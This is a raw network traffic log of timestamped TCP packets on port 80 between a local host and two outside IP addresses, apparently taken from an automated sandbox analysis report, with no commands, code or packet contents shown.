                                                              Jul 4, 2024 11:16:18.644048929 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644061089 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644062996 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.644082069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644089937 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.644095898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644114017 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644134998 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.644160986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.644320965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644474983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644491911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644504070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644515991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644526005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644535065 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.644539118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644551992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644562960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644573927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644577980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.644587040 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.644591093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644604921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.644609928 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.644646883 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.669768095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.669790983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.669811010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.669823885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.669841051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.669945002 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.669950962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.669965029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.669997931 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.708132029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708153009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708164930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708213091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.708230972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708237886 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.708247900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708261967 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708287001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708297014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.708329916 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.708350897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708410978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708421946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708434105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708463907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.708494902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708497047 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.708508015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708544970 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.708610058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708621979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708631992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708650112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708658934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.708662033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708699942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.708950043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708962917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708978891 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.708990097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709000111 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709005117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709017038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709022999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709023952 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709043980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709050894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709058046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709069014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709079981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709083080 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709105968 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709122896 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709290981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709342957 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709353924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709386110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709697962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709709883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709719896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709733963 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709748030 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709763050 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709810019 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709826946 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709839106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709851027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709852934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709863901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709875107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709877014 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709887028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.709907055 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.709928989 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.732369900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732476950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732494116 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732506037 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732517004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732530117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732532978 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.732541084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732546091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.732554913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732578039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732585907 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.732605934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.732656956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732670069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732695103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.732755899 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732768059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732780933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732795954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732801914 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.732809067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.732831955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.732852936 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.732992887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733006001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733016968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733028889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733041048 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733041048 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733053923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733066082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733069897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733082056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733091116 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733107090 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733130932 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733165979 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733211994 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733212948 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733226061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733237982 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733248949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733263016 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733284950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733385086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733396053 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733407021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733418941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733431101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733434916 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733443022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733473063 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733493090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733537912 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733549118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733558893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733580112 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733711004 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733726978 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733736992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733748913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733760118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733769894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733771086 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733783007 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733793974 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733798027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733809948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733823061 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733828068 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733836889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.733849049 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.733885050 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.734046936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734278917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734289885 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734299898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734312057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734323025 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.734323025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734337091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734348059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734350920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.734359026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734366894 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.734370947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734389067 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.734391928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734406948 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734416962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.734424114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734435081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734447002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734450102 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.734457016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.734486103 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.734512091 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.745090961 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.745107889 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.745125055 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.745265961 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.745583057 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.745595932 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.745640039 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.745662928 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.745707989 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.745822906 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.747406960 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.747426033 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.747437000 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.747448921 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.747454882 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.747468948 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.747543097 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.747555971 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.747569084 CEST8049725176.113.115.177192.168.2.6
                                                              Jul 4, 2024 11:16:18.747586966 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.747617960 CEST4972580192.168.2.6176.113.115.177
                                                              Jul 4, 2024 11:16:18.759879112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.759898901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.759911060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.759939909 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.759991884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.760004044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.760015011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.760026932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.760035992 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.760075092 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802057028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802083969 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802095890 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802128077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802170038 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802202940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802215099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802228928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802239895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802272081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802298069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802428961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802436113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802440882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802448034 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802453995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802459955 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802467108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802472115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802474022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802475929 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802511930 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802686930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802700043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802710056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802726984 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802736044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802751064 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802778959 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802793026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802803040 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802809954 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802822113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.802824020 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802845955 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.802877903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.803141117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803153038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803167105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803179026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803189993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803189993 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.803200960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803212881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803217888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.803227901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803237915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.803241968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803253889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803265095 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803275108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803277969 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.803287029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803297997 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803308010 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.803309917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.803332090 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.822365999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822377920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822392941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822417974 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.822453022 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.822488070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822499990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822510958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822521925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822537899 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.822565079 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.822699070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822710991 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822721958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822732925 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822743893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822755098 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822763920 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.822765112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822779894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822792053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.822830915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.822870016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822881937 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822891951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822901011 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.822923899 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.822954893 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823014021 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823025942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823036909 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823050022 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823060989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823071003 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823087931 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823236942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823249102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823260069 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823271036 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823282003 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823290110 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823292971 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823306084 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823316097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823321104 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823332071 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823352098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823353052 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823396921 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:18.823539972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823551893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823563099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823574066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:18.823585033 CEST804972385.28.47.8192.168.2.6
